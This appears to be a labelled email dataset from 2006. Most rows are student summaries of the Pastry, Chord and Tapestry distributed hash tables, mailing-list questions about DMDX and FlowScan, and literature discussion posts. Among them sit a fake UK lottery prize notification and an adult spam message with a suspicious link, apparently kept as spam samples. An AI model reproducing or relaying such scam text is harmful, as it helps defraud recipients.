Tapestry uses a salt to scatter them through the ring. This means that a problem in a single portion of the ring (whether due to local inconsistencies in routing information or malicious behavior) doesn't cause the object to become unreachable. The use of backpointers gives the flexibility to let those nodes pointing to a given node know to change their routing if the node is overloaded or wishes to leave the network gracefully (though at the cost of requiring additional state). They also can help identify inconsistent views of the ring which can be a problem for Pastry. ",0,0 Goran Lazendic ,DMDX@psy1.psych.arizona.edu,"Tue, 31 Jan 2006 13:48:16 +1100",[DMDX] Remote control and DMDX," Will running a software that enables remote control of a computer (e.g. WinVNC) have an impact on DMDX? The idea is to use the program only to move from an experiment to the next one. Goran Lazendic ",0,0 ,beloved1@madeiracityschools.org,"Mon, 30 Jan 2006 16:53:04 -0800",Response to Beloved #2,"The character of Beloved is an infant in a mature body, to put it simply. The supernatural manifestation managed to destroy every person’s life. Her seemingly malicious spirit, however, managed to pull the rest of the village towards the house of 124 and contact Sethe, as well as bring Sethe to her senses. Generally speaking, ghosts are self-serving and driven for one purpose...which is to pass on. So, the fact that Beloved's banished essence returns physically to get back at her murderous mother is a dramatic twist. Rambling seems to be the trend, so let us continue. Beloved infiltrates a family teetering on the line of brokeness. Okay...seriously...I can't do this anymore. This is all I can say about this book that I didn't enjoy one second of. --------------------------------- What are the most popular cars? Find out at Yahoo! Autos ",1,0 ,Discussion of Beloved Group 1 ,"Mon, 30 Jan 2006 17:11:09 -0800",kind of a response to Brittany's Denver question,"This is interesting because I was actually right next to Brittany when she was writing this, and she was saying that several graduated students had often talked about how they could not stand Denver. Honestly, I would like to know why. In the end, and in other points of the book, it's almost of as if this becomes solely Denver's story. She is often portrayed as the ""watcher"" and skeptic of the story as she hesitates to trust any motives by the other characters in the book--including Paul D, Sethe, and eventually Beloved. She often seems to know what exactly is going on behind the scenes of the events. She constantly is caring for the well-being of herself and those whom she loves, and she does this by being skeptacle of those in the novel. As Brittany said, Denver grows into a woman by the end as the ""truth"" (or how it is portrayed in the book) finally starts to come into focus and she realizes who is to blame for the instability and unbalanced family--Beloved. While Denver is growing into a mature and clear-sighted woman, Beloved is growing too, but in a different way. Beloved has many qualities similar to a baby's in the beginning, but those characteristics slowly deteriorate as she becomes somewhat selfish, needy, and manipulative. What Toni Morrison is trying to say with this contradiction of portrayals, I don't know. Perhaps someone would like to respond. Perhaps, she is saying that dwelling on your past so much, in such a way that Sethe does, can negatively control your life, which you must confront--without overdoing it--and release. I say this because Beloved seems to symbolize Sethe's past, and the longer Sethe keeps her around, the more Beloved controls Sethe and directs her attention away from her present day life and what's important. Dwelling on the past can have the same effect. However, I believe Toni Morrison does not advocate the idea of completely shutting out what has happened, as we can see with what she has shown with Paul D. Kara. --------------------------------- Bring words and photos together (easily) with PhotoMail - it's free and works with Yahoo! Mail.",0,0 ,beloved1@madeiracityschools.org,"Mon, 30 Jan 2006 17:59:36 -0800",Beloved #3," I ended up liking this book more than disliking it, which was a little bit of a surprise because throughout the book I was really frustrated with the language and the way Toni Morrison writes. The main thing that made me dislike this book though (besides the comlex language and abstract format) was the ending, primarily the last chapter. In fact I was quite happy with the ending until I read the last two pages. The second to last chapter was terrific, I felt it really tied up some of the loose ends and brought the characters together in a positive way, and after reading that I was perfectly content with ending it right there. Then I read the last two pages n it seemed to kill that feeling, that perfect ending. Part of that probably has to do with the fact that I'm kind of a romantic, so the fact that it ended with Paul D. coming to save and take care of Sethe, to show her her true worth, was a good ending for me. But also the last chapter seemed a little abstract and hard to follow, and although it was fairly consitent with the language of the rest of the book, I felt it made for a bit of a rough ending, one a little too intricate and complex to make a smooth finish. In a way it seemed fitting because that was the way the rest of the book was written, but also it seemed like such a complex book should have a relaxed ending, not one that left you as confused as I felt this one did. --------------------------------- Bring words and photos together (easily) with PhotoMail - it's free and works with Yahoo! Mail.",0,0 Ari Rabkin ,egs+summary,"Mon, 30 Jan 2006 22:17:36 -0500",PAPER 2," Chord and Tapestry: Like Pastry, Chord and Tapestry are ring-based structured peer-to-peer systems. Chord is the most primitive of the three. Unlike the other two, it makes no attempt to achieve network locality. Chord does not use pastry's prefix-based routing, and as a result, ""finger pointers"", and also a much smaller leaf set. Perhaps in consequence, Chord's joins and leaves take O(log^2 n), which is asymptotically worse than Pastry's O(log n) Like Pastry, Chord does not necessarily heal properly after a network partition. In contrast, Tapestry is not clearly an advance over Pastry. Keeping one primary, and two secondary ""neighbor"" pointers seems more vulnerable than the k neighbors that Pastry keeps. Spending a day trying to repair connections seems like a serious weakness if churn is high. Pastry replicates objects, Tapestry leaves pointers. Which approach is superior depends on the context. On the other hand, Tapestry seems to search more widely for 'neighbors' with low network latencies. Ari Rabkin asr32 Risley Hall 454 3-2842 The resources of civilization are not yet exhausted. --William Gladstone ",0,0 uklotterywinner8 ,uklotterywinner8@o2.pl,"Tue, 31 Jan 2006 00:14:19 +0200",WINNING NOTIFICATION (CLAIM YOUR PRIZE),"THE BRITISH ONLINE GAME 2006 UK-LOTTO HEADQUARTERS: 45 ELMDENE RD WOOLICH, SE 16 TZ,UNITED-KINGDOM. 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This is part of our precautionary measure to avoid double claiming and unwarranted abuse of this program.Important Notice: Your Email address and winning information were provided by INTERNET AND EMAIL CENSORS ASSOCIATION The United Kingdom Lottery accepts no blame for any unwarranted use of email addresses, therefore all blames, complains should be directed to the INTERNET AND EMAIL CENSORS ASSOCIATION. Copyright © 1994-2006 The British National Lottery Inc. All rights reserved. Terms of Service - Guideline",1,0 Ymir Vigfusson ,egs+summary,"Tue, 31 Jan 2006 00:40:35 -0500",PAPER 2,"Some differences between the three ring-based P2P protocols: Pastry, Chord and Tapestry (intentionally not using Pastry as a basis). Unlike both Pastry and Tapestry, the vanilla Chord does not take any network topology (i.e. latencies and/or geographic distances) into account when creating its network. The authors mention some potential improvements in this respect in their Future Work section, mainly by taking network delay into account when picking nodes from the intervals in the ID ring. Pastry has a routing table that it tries to maintain as being ""close"" nodes as far as it can, while Chord depends on successors and fingers that may not be at all close (its routing scheme has only one dimension). Chord can also produce some weird network pathologies, such as disjoint rings (that cannot be stablized) or touching rings that share one node in common. When considering where things are put, both Pastry and Chord map things to random places so they may be scattered all over. Tapestry tries to exploit locality by optimize its neighbours, trying to maintain ""close"" nodes as neighbours ( w.r.t. network latency) so that when you ask for an object, there should be a copy close by. Both Pastry and Tapestry try to replicate copies of objects, except that Pastry does this at random, while Tapestry does this by considering the network latencies (doing optimally if latency of the N^2 node pairs are known). Pastry has a lookup time of O(lg N) in both worst-case and average case and a routing table of size O(2^b * log_{2^b} N) (plus leafs). Chord has average lookup time of (lg N)/2, has a routing table with O(lg N) entries and with high probability uses O(lg^2 N) messages to join/part a node from its network. Tapestry tries to ""keep things close"" and maintains a neighbour map of size O(log N) neighbours, and message path length with O(log N) hops. In effect (since the base of the logarithm is irrelevant in the order), all three protocols keep track of O(log N) neighbours and can route through O(log N) hops. In terms of simplicity of the protocols: Chord and Pastry are rather minimal and simple protocols with the only complex functions involving joins/parts and network rapir, Tapestry is a more complex beast with that requires a bunch of involved considerations (maintaining closeness, finding hotspots, caches etc.). That's all I can think of right now :) Hope to see more in class tomorrow. - Ymir ",0,0 Philip Kuryloski ,egs+summary,"Tue, 31 Jan 2006 00:51:15 -0500",PAPER 2,"Pastry and Chord share similar functionality in that they provide object location and efficient routing for location queries. However, beyond this most basic similarity, their implementations quickly diverge. Pastry relies on random assignment of node IDs to ensure that localized failure in the underlying internet do not result in the failure of successive pastry nodes. Chord relies on a consistent hashing scheme designed to maintain an even distribution of keys across multiple nodes despite nodes entering and dropping out of the network. This gives chord a ring topology for the distribution of keys in the network. Despite this difference, both schemes result in a log N search time, as each search narrows its search space by a constant factor at each hop. Because Chord uses a consistent hashing scheme, it has provisions for the addition of multiple nodes nodes with similar keys. Due to the nature of Chord's routing tables, O(log N) updates are required to redistribute keys. However, this does necessitate the shuffling of keys from one node to another. Another shortcoming of Chord is that the consistent hashing scheme requires the use of virtual nodes within real nodes to ensure that each node does in fact receive keys when they are hashed. Also, Chord does not direct messages based on the latency of links in its underlying network. Tapestry uses random assignment of node ids in the same manner as Pastry. Tapestry also uses a digit based search to route messages toward a target, resulting in similarly structured routing tables as Pastry. Tapestry, unlike Pastry, uses random object keys which do not naturally associate with particular node ids. This requires that routes be built through the network that associate an object with a particular node. A unique feature of Tapestry is that it maintains routing table entries for failed nodes and merely marks them as invalid, allowing for minimal expenditure of resources reintegrating that node if it comes back online within a reasonable period of time. In terms of the integration of new nodes, Tapestry functions in a very similar way to Pastry, borrowing routing table information from neighboring nodes in the node id space. However, Tapestry also associates an epoch with node/object association messages, supporting the movement of objects from one node to another. A protocol for caching objects on additional nodes to reduce routing ""hotspots"" is also provided by tapestry. This, unlike Pastry, allows the placement of replicas along the path to the original rather than along side of it. Philip Kuryloski 444 Rhodes Hall Cornell University Ithaca, NY 14853-5112 607.255.4222 pjk25 ",0,0 Niranjan Sivakumar ,egs+summary,"Tue, 31 Jan 2006 00:55:23 -0500",PAPER 2,"Niranjan Sivakumar Chord primarily differs from Pastry in how it implements its routing mechanism. Whereas Pastry's routing mechanism is based on matching prefixes of a key with those of entries in its routing data structure, Chord maintains comparatively less routing information consisting of information about successive nodes in the ring. Chord maintains a few successive nodes in its finger table in order to account for failures and changes to the network. Chord forwards queries to nodes in the ring, trying to find the closes ID that would most closely precede that key that is being searched for in order to find its successor. The finger pointers are spaced such that the distance to the target ID will be halved in successive iterations. The basic routing mechanism of the Plaxton system employed by Tapestry is very similar to Pastry and is based on matching suffixes (analogous to the prefixes of Pastry. There is, however, a location system of ""root nodes"" associated with objects that is unique to Tapestry. Messages destined for a particular object are routed towards the root, and can diverge to a server holding the object if such a mapping is encountered en route to the root. This allows for copies of objects to be on the network. The systems deals with root nodes being targets of failure with replication and caching. One of the weaknesses seen in both of these papers is similar to something that we noticed in the Pastry paper. There doesn't seem to be a robust method to search for content. The key based method does not seem to allow for things such as semantic searching or range searching very easily. Chord also does not seem to have an analogous mechanism to the Pastry neighborhood information to avoid routing queries in an inefficient manner due to the random nature of the nodes in the network. ",0,0 Matt Davis ,"Joao Verissimo , DMDX Mailing List ","Tue, 31 Jan 2006 09:18:09 +0000",[DMDX] Re: Error in awk script,"The getdat script works fine for me. Perhaps we could take this ""off list"", and I can help you sort this out. Sometimes these problems can be caused by an incorrect download which is easily fixed by downloading this: http://www.mrc-cbu.cam.ac.uk/~mattd/awk/getdat.zip let me know how you get on, matt At 19:41 30/01/2006 +0000, Joao Verissimo wrote: >Hello, all. > >This is not about DMDX itself, but about Matt Davis' script to convert >.azk into .txt > >I'm not able to make it work, because it gives me the following error: > >gawk: ./getdat.awk:17: >' in expressionawk:17: ^ invalid char ' > > >Has anyone tried this script, and did it work? > >Thank you. > >João >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== **************************************************** Dr Matt Davis MRC Cognition and Brain Sciences Unit 15 Chaucer Road, Cambridge, CB2 2EF email: matt.davis@mrc-cbu.cam.ac.uk tel: 01223 273 637 (direct line) tel: 01223 355 294 (reception) fax: 01223 359 062 **************************************************** ",0,1 Victoria Krafft ,egs+summary,"Mon, 30 Jan 2006 23:35:59 -0800",PAPER 2,"Pastry, Chord, and Tapestry are all similar peer to peer networks, based on a Distributed Hash Table (DHT). Pastry and Chord have only a few differences. Chord does not attempt to take network locality into account, which means that messages will probably take a bit longer over a large network. Chord keeps a constant size routing table, with a lookup time of O(log N). Chord can also improve load balancing by creating virtual nodes in the network. Tapestry is slightly different. It's based on the Plaxon mesh data structure, which is essentially a DHT. Each node has a unique ID, and routing across the network is accomplished by forwarding a message to a node with an ID closer to the destination of the message. For each object in the network, there are several root nodes, which know the location of the object. Tapestry also features the idea of second chance recovery. If a node disappears from the network, it is marked as inactive, and not removed from the other nodes for some period of time (perhaps an hour or a day). If the node re-joins the network within that time frame, then it can simply pick up where it left off. While Tapestry's second chance recovery mechanism sounds promising when the network will not be experiencing high churn, it could become costly. To give an extreme example, if 3/4 of the network is offline at any given time, but comes back once a day to check and see if anything new has been added, then 3/4 of the routing table entries each node stores are currently invalid, and will just be sitting around taking up memory. -- Victoria Krafft ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 31 Jan 2006 08:21:56 -0700",[DMDX] Re: Remote control and DMDX,"At 01:48 PM 1/31/2006 +1100, you wrote: >Will running a software that enables remote control of a computer (e.g. >WinVNC) >have an impact on DMDX? The idea is to use the program only to move from an >experiment to the next one. As long as it isn't being used as DMDX is running. But I don't see how you can do what you want because DMDX is going to try and run in the VNC window on the other computer and it'll fail miserably. You'd have to have a batch file that closed out VNC and then ran DMDX. We tend to use video cable extenders and secondary displays for our remote subjects. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ America was discovered by Amerigo Vespucci and was named after him, until people got tired of living in a place called ""Vespuccia"" and changed its name to ""America"". - Mike Harding, ""The Armchair Anarchist's Almanac"" ",0,0 Virginia Kay ,enclgrads@CUVMC.AIS.COLUMBIA.EDU,"Tue, 31 Jan 2006 09:13:07 -0500","TALK - Christopher Ricks Colloquium, 16 February","Following his public lecture on the evening of Wednesday, February 15 (entitled ""True Friendship: Geoffrey Hill and T.S. Eliot""), Christopher Ricks will give a one-time graduate student seminar entitled ""Editing: Some Cases, Mental and Other"" on Thursday, February 16, at 10:00 a.m. Both lecture and seminar will be held in the Common Room of the Heyman Center for the Humanities. As students in the Department of English and Comparative Literature, you are especially invited to attend. Although the seminar is open to both faculty and graduate students, the faculty will be dismissed at approximately 11:30 a.m. so that the graduate students have a chance to continue the conversation with Professor Ricks alone. Christopher Ricks is currently the Warren Professor of the Humanities and co-director of the Editorial Institute at Boston University. He is also the Oxford Professor of Poetry. He was formerly Professor of English at the Universities of Bristol and Cambridge, and he is a member of the Association of Literary Scholars and Critics. Christopher Ricks is the author of an examination of the lyrics of Bob Dylan entitled *Dylan's Visions of Sin* (2004). Other works include *Milton's Grand Style* (1963), *Keats and Embarrassment* (1974), *The Force of Poetry* (1993), *T.S. Eliot and Prejudice* (1988), *Beckett's Dying Words* (1993), *Essays in Appreciation* (1996), *Allusion to the Poets* (2002), and *Reviewery* (Penguin edition, 2003). He is also the editor of *The Poems of Tennyson* (Second edition, 1987), *The New Oxford Book of Victorian Verse* (1987), *Inventions of the March Hare: Poems 1909-1917 by T.S. Eliot* (1996), *The Oxford Book of English Verse* (1999), and *Selected Poems of James Henry* (2002). ",0,0 Sondra Chaney ,DMDX@psy1.psych.arizona.edu,"Tue, 31 Jan 2006 04:25:01 -0500",Indecent schoo1gir1s on internet," curd hot short on the $tomach http://lwholesaluk.com >> ernos 519432 cutpurse lebebinder 196919 ",1,1 Robert S Galloway ,"'lucas aremu' , flowscan@net.doit.wisc.edu","Tue, 31 Jan 2006 07:15:35 -0700",RE: Error,"Hi Lucas, I've been seeing the same error in my most recent install; however it appears that it is not affecting anything. All of my reports look normal and the data seems correct. If you see any trouble other than the error message please forward it on, but at this point it appears to be a cosmetic issue. Thanks, Robert S. Galloway ""You have enemies? Good. That means you've stood up for something, some time in your life."" -- Winston Churchill -----Original Message----- From: majordomo listserver [mailto:majordomo@mil.doit.wisc.edu] On Behalf Of lucas aremu Sent: Tuesday, January 31, 2006 4:41 AM To: flowscan@net.doit.wisc.edu Subject: Error Hello, I have just completed installation and configuration but I this error. Use of uninitialized value in numeric gt (>) at /usr/lib/perl5/site_perl/5.8.0/HTML/Table.pm line 1684. Use of uninitialized value in numeric gt (>) at /usr/lib/perl5/site_perl/5.8.0/HTML/Table.pm line 1684. Use of uninitialized value in numeric gt (>) at /usr/lib/perl5/site_perl/5.8.0/HTML/Table.pm line 1684. Use of uninitialized value in numeric gt (>) at /usr/lib/perl5/site_perl/5.8.0/HTML/Table.pm line 1684. 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Use of uninitialized value in numeric gt (>) at /usr/lib/perl5/site_perl/5.8.0/HTML/Table.pm line 1684. sleep 30... sleep 30... sleep 30... sleep 30... sleep 30... sleep 30... sleep 30... sleep 30... sleep 30... 2006/01/31 12:40:01 working on file /var/netflow/ft-v05.2006-01-31.123500+0100... 2006/01/31 12:40:02 flowscan-1.020 CUFlow: Cflow::find took 1 wallclock secs ( 0.75 usr + 0.00 sys = 0.75 CPU) for 136601 flow file bytes, flow hit ratio: 485/8430 2006/01/31 12:40:02 flowscan-1.020 CUFlow: report took 0 wallclock secs ( 0.00 usr 0.00 sys + 0.01 cusr 0.02 csys = 0.03 CPU) sleep 30... Use of uninitialized value in numeric gt (>) at /usr/lib/perl5/site_perl/5.8.0/HTML/Table.pm line 1684. Use of uninitialized value in numeric gt (>) at /usr/lib/perl5/site_perl/5.8.0/HTML/Table.pm line 1684. Use of uninitialized value in numeric gt (>) at /usr/lib/perl5/site_perl/5.8.0/HTML/Table.pm line 1684. Use of uninitialized value in numeric gt (>) at /usr/lib/perl5/site_perl/5.8.0/HTML/Table.pm line 1684. Use of uninitialized value in numeric gt (>) at /usr/lib/perl5/site_perl/5.8.0/HTML/Table.pm line 1684. Use of uninitialized value in numeric gt (>) at /usr/lib/perl5/site_perl/5.8.0/HTML/Table.pm line 1684. Use of uninitialized value in numeric gt (>) at /usr/lib/perl5/site_perl/5.8.0/HTML/Table.pm line 1684. Use of uninitialized value in numeric gt (>) at /usr/lib/perl5/site_perl/5.8.0/HTML/Table.pm line 1684. Use of uninitialized value in numeric gt (>) at /usr/lib/perl5/site_perl/5.8.0/HTML/Table.pm line 1684. Use of uninitialized value in numeric gt (>) at /usr/lib/perl5/site_perl/5.8.0/HTML/Table.pm line 1684. Use of uninitialized value in numeric gt (>) at /usr/lib/perl5/site_perl/5.8.0/HTML/Table.pm line 1684. Use of uninitialized value in numeric gt (>) at /usr/lib/perl5/site_perl/5.8.0/HTML/Table.pm line 1684. sleep 30... can someone help me out on this issue Aremu __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! 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Employers will be there with career opportunities as well as internship positions. Employers: Fred Meyer, Target, Enterprise Rent-a-Car, Frito Lay, Ferguson Enterprises, United Rental and many more. Career Workshops to Help you be Successful! Resume writing, Interview Skills, and Dress for the occasion Monday February 6, 2006 7-8:30pm Pittman Room Casanova Center Authentic Schmooze (How to Network at Career Dinners) Tuesday February 21, 2006 7-8:30pm Pittman Room Casanova Center If you are interested in attending either one of these workshops please contact Lauren Brownrigg in the Student Support Office (541)346-5367 or e-mail at lkb@uoregon.edu",0,0 Nicholas S Gerner ,egs+summary,"Tue, 31 Jan 2006 09:59:22 -0500",PAPER 2,"Chord and Tapestry both present distributed datastructures similar to Pastry. Both use a ring overlay to route messages with a key identifier to a node with the id nearest to the message's identifier (although Tapestry doesn't describe its overlay as a ring). However, both Chord and Tapestry use more proactive protocols to maintain network state information. While Pastry maintains a table of nodes in an exponentially expanding ring, Chord maintains information about one other node at exponentially expanding intervals (called the finger table). Specifically, node with id n stores the IP of the node responsible for key n+2^i for each i up to the length of the identifier. In Chord, destinations are located by moving exponentially closer to the destination, but recursively returning the destination IP, requring an explicit round-trip. Chord network state is maintained by a ""stabilization"" protocol which periodically contacts the successor (next pointer in the ring) asking for its predecessor (which should be the current node, or else that node should be the current node's successor). The finger table is similarly periodically updated. Node failures are handled by keeping a list of r possible successors and updating this list with the stabilization protocol. This is in contrast to Pastry which maintains network state reactively to detection of node failure or node joins. Tapestry maintains a route table similarly to Pastry. In Tapestry information about objects in the network are published to the node responsible for the object. Information is cached along the path from the originating node to the node responsible for that object. Node insertion is handled similarly to Pastry. Object caches at nodes are periodically updated or removed. Periodic heart-beats are sent between neighbors to verify connectivity. Failed nodes are not immediately removed from state and are kept for some period to speed up recovery of repaired nodes. The proactive protocols employed by both Chord and Tapestry incur an overhead for network state maintenance. Both systems still involve significant node arrival message exchanges (Chord involves log^2 message exchanges). The Tapestry paper admits that this cost of republishing object locations (updating caches along the way) can be too high, but modifies its approach by adding a node disconnect protocol. It seems that proactive schemes to network state maintenance don't handle arbitrary node failures and incur too high a cost for what all papers assume is the common case: nodes remain alive indefinately (which may be a faulty assumption). --Nick Gerner ",0,0 """Ryan S. Peterson"" ",egs+summary,"Tue, 31 Jan 2006 10:11:20 -0500",PAPER 2,"Chord and Tapestry both introduce peer-to-peer distributed hash tables, promoting efficiency and reliability. Chord structures its nodes in a ring by increasing key value, much like Pastry. However, unlike Pastry, Chord always hashes object keys to the key's ""successor"" node, defined as the closest node from the key in the clockwise direction around the ring. While Chord and Pastry both advertise O(log n) lookup time, their lookup algorithms and data structures are quite different. Each Chord node maintains a constant- sized list of ""fingers,"" or pointers that point successively farther around the ring in the clockwise direction. Finger i of node with key n points to node the first node that succeeds key n + 2^(i-1) in the ring, once again in the clockwise direction. Thus, finger 1 always points to the next node, and the remaining fingers point increasingly farther and farther away. Therefore, like Pastry nodes, each Chord node knows more nodes in its local area than nodes on the other side of the ring. Lookup in Chord proceeds by starting at some arbitrary node and following the fingers around the ring, making smaller jumps as the routing nears the target node. While Chord proves several time guarantees, it has more opportunity to incur overhead than Pastry. Since Chord always moves in the clockwise direction, it will never find the shortest route to a target node just to the left (counterclockwise direction) of the start node. Furthermore, Chord nodes do not maintain leaf sets, so routing involves traversing the finger pointers until the exact node is reached, whereas in Pastry, routing requires only one more hop as soon as the routing has reached any ""nearby"" node. Lastly in terms of time, Chord does not use a proximity metric to take network conditions into account when determining fingers or routing paths, which could slow down the DHT dramatically if some of the nodes are far away or are responding slowly. Therefore, although Chord proves time guarantees, its O(log n) lookup time has a higher coefficient than Pastry's does. In terms of space, Chord's join algorithm implies that every node maintains a pointer for each digit of the key, requiring nodes in small networks to maintain duplicate fingers that point to the same nodes. However, this may be optimized away if space proved to be a problem. In terms of stability, Chord, unlike Pastry, does not provide any guarantees for preventing the ring from splitting. Since each Chord node only maintains its forward pointers (and one backward pointer for assisting in joins and failures), it is difficult to say how many failures would compromise the ring structure. As a final observation, Chord provides one primitive, lookup, which identifies the home node for a given key, whereas Pastry provides routing primitives. In other words, Chord provides the application with a pointer to the home node, which the application could use to send a file directly to it. This could improve performance if the object being transferred is large (since Pastry would route it from one node to another), but maybe slow insert time down since it requires two separate phases: lookup then insert. Tapestry presents a spanning-tree-like network structure that contrasts with the ring structure of Chord and Pastry. Each node is both a root of its ""object"" tree--the trees for which that node is the home node for the object in question--and a node in a multi-layer spanning tree that enables matching more digits in the suffix of the lookup key. Because of Tapestry's tree structure, object lookup has more similarities to overlay network routing than moving around a ring. The authors give examples of routing around crashed nodes, much as routing would occur in an Internet overlay in the presence of failure. Because of this more unstructured approach, Tapestry provides fewer guarantees, since a node failure affects the network differently depending on its location in the spanning trees. However, because Tapestry does traverse the spanning trees based on the postfix of the lookup key, it still does provide a O(log n) upper bound on lookups assuming the network is stable. Overall, Tapestry seems less principled, providing a structure that has many of the same vulnerabilities as the Internet. This might make lookups faster in some instances, but makes it more difficult to reason about performance since the structure is more loosely defined. Ryan ",0,0 Kevin ,egs+summary,"Tue, 31 Jan 2006 10:47:22 -0500",PAPER 2," Chord is different from Pastry in several key ways. The first is the way that it routes a key to a node. Chord tries to locate a node, n, where n is the the first node greater than or equal to the key. Instead of routing by constantly finding a node whose prefix matches that of the keys by one more digit, it keeps bookmarks, or a finger table, of nodes that are progressively farther away (by factors of 2). In this way it is possible for n to find a node who has more information in its finger table about the target. This also leads to an O(log n) lookup time. Chord does not place a constraint on the structure of the keys it looks up, giving the higher-level application more freedom. Like Pastry, Chord keeps a leaf-set like structure of successor nodes (and one predecessor node) in order to help maintain stability in case of joins/leaves. Unlike Pastry, Chord offers no neighborhood-like set. Locality is not taken into account in Chord and it is perfectly possible for a packet to be routed around the world several times before it reaches its proper destination. Chord does have a wide variety of problems. While not a technical issue, one complaint I have with it is the word 'successor'. In most uses I have seen, successor usually is strictly greater than, not equal to or greater than in the way Chord uses it. If a node fails that was holding specific data, that data is forever lost. This issue is discussed without any great depth in part of the paper and says to just duplicate data to k successors of n -- this ends up being quite a nuisence since all of a sudden each node is responsible for k-times the amount of data it was originally responsible for. Failures between stabilizations kill the system. In their example, 3 failures out of a 500 node system cause a failure rate of 3%. If a chunk of the physical system got taken out and 25 nodes failed (5% of the whole system), 25% of queries will fail! Luckily it seems this will only delay correct transmission of the message, although in a really big system, stabalizing every 30 seconds might not be realistic. My last complaint and probably biggest complaint is, once again, security. A node could join in with a fake ID and drop packets on the ground or throw other nodes' finger tables off. Tapestry works on the principal of a Plaxton mesh. As far as I could tell, the network topology is not circular. Messages get routed similarly to Pastry with suffixes being matched one base at a time and messages being routed closer to the target. The difference is the target: the target is not where the object is stored, but rather a node that knows where the object is stored. This improves security but takes away from reliability. In order to eliminate a single point of failure, multiple nodes have information on the node that stores the object. Furthermore, nodes along the path aquire this information as it is routed through them and they cache it. Tapestry also combines the idea of a neighbor table with the routing table, trying to ensure that the new table takes both into account: it knows where a message should be routed along with the quickest (ping-wise, or otherwise) node to pass the message on to. Tapestry has some problems, one of which seems to be its use of resources. Throughout the paper it is stated that bandwidth, disk space, and other resources will be plentiful. With many people searching for and looking to download more files, it is arguable that traffic and disk space are big issues. Tapestry also seems to 'trust' a node more than it should. Tapestry gives a failed node a second chance period while it tries to contact it once in a while to see if it is back online. While this might be good in a reliable set of nodes or servers you expect to constantly be up, it is fully possible for a node to join and leave the network within a couple of minutes, or faster. If this is done by multiple nodes with similar numbers then the alternative nodes in the neighbor table might all be in their second chance period. When the main node goes down, a search has to be initiated anyway, yet interim network performance was not optimal. The last problem I would like to mention with Tapestry is one that the paper points out itself. A new node coming in changes the way an object might be routed. Before the system is refreshed, there is a vulnerability here.",0,0 Gopal Parameswaran ,egs+summary,"Tue, 31 Jan 2006 11:00:43 -0500",PAPER 2," All the three P2P systems discussed ie. Pastry, Chord and Tapestry are different forms of scalable de-centralized ring networks that allow for insertion and deletion of nodes from the network and support distributed hash table functionality. All the three systems are highly similar in their primary functionality but differ in their algorithms. Since they are all different forms of distributed hash tables they provide support getting and putting objects into the system based on keys and a lookup function that gives the address of the node that has the object. The leaf set in pastry and the finger set in Chord gives the proximity in logical space. Chord does not consider network proximity at all unlike Pastry where a neighborhood set is also maintained for routing to the nodes that are close by. Thus in the case of Chord the messages could travel longer distances to just go to a node in its neighborhood. Pastry unlike Chord has a bigger table with routing information and hence even though it provides benefit for local searches more work needs to be done when nodes join and drop out of the system since every time a change occurs the tables maintained by pastry needs to be updated. Chord however seems to have an apparent issue with of orphan nodes when some nodes drop out of the system. Since a node's information is kept in a successor node if the successor node drops out of the system or a series of successor nodes drops out then the node could be left as an orphan with no connections to the node. Chord unlike Pastry and Tapestry uses consistent hashing where each node has a certain fixed number of keys that it can allocate and if the need for the number of keys goes above than the node's capacity it can create virtual nodes. It provides an advantage when nodes are being added and dropped from the system since any remapping that needs to be done will be done locally leaving all other nodes unaffected. Pastry handles fault tolerant location by maintaining more than one node Id of the network belonging to one digit for routing in the routing table so that if any one one node in its list has dropped out then it can be routed via another node. Tapestry on the other hand handles the fault tolerant location finding by defining multiple paths to resources that are cached and that leads to different independent paths in the search for the resource. Also Pastry and Chord uses TCP timeout to detect if the nodes are down or dead. Tapestry on the other hand introduces a key concept of each node identifying itself as alive at periodic intervals to help ensure its neighboring nodes that contain a reference to it that it is alive by sending small packets. Also in Tapestry unlike the other two systems the concept of a second chance is introduced for nodes that has failed to respond or timed out. This means that if a node fails to respond then a second message is send to that node after a reasonable amount of time to ensure that it is back up. This prevents unnecessary deletions and re-insertions of nodes into the system which could make a big difference especially if the network is unstable and nodes tend to drop out and rejoin due to network instabilities. Finally to conclude all the three algorithms seems to focus a lot more on doing the least amount of node traversal as a performance metric rather than time spend in reaching a node to retrieve the information. The basic assumption is made that the time spend is proportional to the nodes traversed and also that logical closeness can emulate physical closeness by caching the resources or hashing the IP addresses. ",0,0 Huang Shiang-Jia ,egs+summary,"Tue, 31 Jan 2006 11:15:03 -0500",PAPER 2,"• Chord always forwards messages to a successor (node clockwise from the key in the ID space). In Pastry and Tapestry, messages are forwarded to a node whose ID shares longer prefix with the key, or failing that is numerically closer to the key, than the present node. The ID of such a node may be larger or smaller than the present node. • [Locality] The advantage of Pastry and Tapestry over Chord is that they take into account network topology to reduce the routing latency. Particularly, Tapestry and Pastry behave well in locating “nearby” objects that may be distant from the present node in the ID space: Pastry maintains a neighbor set; Tapestry proposed the location mapping scheme in addition, as will be described below. • In stable states, Chord ‘guarantees’ the number of nodes that must be contacted in a lookup is O(logN). Pastry and Tapestry ‘expects’ the number of steps to resolve a lookup is O(logN), but it can take more steps due to the cases of surrogate routing. • Routing in Pastry and Tapestry is recursive (vs. iterative in Kademlia). Chord can route either iteratively or recursively. • In Pastry and Tapestry, the routing path is a function of the destination node ID, not of the source node ID, as in Chord. All the three routing protocols rely on applications to replicate values associated with keys, but they differ in the following ways: • Pastry simply provides a distributed hash table interface for replications. Replicas of the value associated with a key are stored at the k numerically closest nodes. • The successor list mechanism proposed by Chord a lot helps applications replicate data. In Chord, replicas of the values are stored at the k nodes succeeding the key. By keeping track of the successors, Chord can notify applications to propagate data to new replicas once any node(s) in the list fails. • In Tapestry, the servers that store an object periodically route publish messages toward the root of this object. Nodes along the publication path store pointer mappings for object replicas in sorted order of network latency from themselves. In this way, queries can therefore be routed to the locally nearest replica. “Replication is critical in the overlay routing infrastructure. Lookups will fail if the node that stores the value associated with the key fails. It is my doubt that is the replication ought to be done in application level or the routing protocols could do something with it? Second, lookups may fail when the values associated with keys migrate, but all these three papers don’t give details of the migration.” • Chord makes the number of keys per node more uniform (in order to improve load balance) by running virtual nodes. Pastry and Tapestry just assume that nodes are assigned IDs uniformly. • Security issues are addressed in Tapestry; for example, security measures can be imposed in the neighbor link of a Tapestry node. In Pastry and Chord, it is 